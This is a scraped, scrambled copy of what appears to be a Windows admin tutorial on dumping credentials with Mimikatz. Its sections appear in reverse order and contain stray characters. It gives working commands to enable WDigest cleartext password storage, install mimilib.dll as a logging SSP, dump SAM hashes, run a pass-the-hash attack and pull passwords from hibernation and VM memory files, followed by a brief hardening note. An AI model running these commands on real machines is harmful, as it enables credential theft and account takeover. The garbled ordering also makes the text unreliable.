![]() After that, you can again access the passwords in the LSA memory. If you try to extract passwords from memory after installing this update and the UseLogonCredential key, you will see that mimikatz cannot dump passwords and hashes using the creds_wdigest command.Ībove, we showed how you can easily set this reg key to a vulnerable value, if you have local administrator permissions. The same functionality is backported to earlier versions of Windows (R2/2012), in which you need to install a special update KB2871997 (the update provides other options to enhance the security of the system) and in the registry key HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest set the DWORD parameter UseLogonCredential to 0 (WDigest is disabled). The LM hashes and passwords are not stored in memory in these Windows versions by default. In Windows 8.1 and Windows Server 2012 R2 (and newer), the ability to steal passwords from LSASS is limited. Protect Windows Against Credential Dumping Attacks Get-Content C:\Windows\System32\kiwissp.log You can display all passwords using PowerShell: When each user logs on to Windows, their password will be written to the kiwissp.log file.Reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ Register an additional SPP provider with the command:.Copy the Mimikatz library file mimilib.dll to the folder C:\Windows\System32\.Dumping Windows Logon Passwords in Clear TextĪnother interesting way to dump passwords in Windows is to use an additional SSP provider (Security Support Provider) powered by mimikatz. It’s also easy to extract saved Wi-Fi passwords. Windows autologon passwords are stored in the registry in clear text. Sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe For example, if you dump the NTLM hash of a user’s password, the following command will run a command prompt under that account: In this case, the hash can be used to run processes on behalf of the target user. If the user has a strong password and you cannot quickly decrypt it NTLM hash, Mimikatz can be used to perform a pass-the-hash (hash reuse) attack. Performing Pass-the-Hash Attacks via Mimikatz Lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv Then use Mimikatz to dump the password hashes:.Export the SYSTEM and SAM registry hives to files:.You can also extract the NTLM hashes from the registry SAM hive. With mimikatz, you can extract the password hashes of local Windows users (including built-in administrator account) from SAM: Wait for the users to log in and get their passwords with mimikatz (the user needs to re-login on Windows 10 on Windows Server 2016, it is enough to unlock the session after the screen is locked):Īs you can see, the wdigest section contains the user’s password in clear text:Įxtracting Local User Password Hashes from SAM ![]() Reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 If you have local administrator permissions in Windows, you can enable WDiget protocol, wait for users to log in and steal their passwords. The WDigest protocol is disabled by default in all new versions of Windows, including Windows 10 and Windows Server 2016/2019. Mimikatz allows you to extract these passwords from the memory of the LSASS.EXE process. The main security flaw of this protocol is that it stores the user’s password in memory in clear text, rather than its hash. You can use the WDigest protocol for HTTP digest authentication on legacy Windows versions. Import the dump into WinDbg (File -> Open Crash Dump), load the mimikatz library mimilib.dll:Īs a result, you will get a list of Windows users, and NTLM hashes of their passwords, or even clear text passwords.Įxtracting Windows Passwords in Clear-Text Using WDigest vmem into a memory dump file (in Hyper-V, it can be vm2dmp.exe or MoonSols Windows Memory toolkit for VMWare vmem-files).įor example, to convert a vmem page file of a VMWare virtual machine into a dump, use this command:īin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp To do it, you need the Debugging Tool for Windows (WinDbg), mimikatz itself and a tool to convert. vmem of virtual machine files (virtual machine paging files and their snapshots). It is also possible to extract user passwords from memory dump files, system hibernation files (hiberfil.sys), and. Extracting Windows Passwords from Hyberfil.sys and VM Page Files
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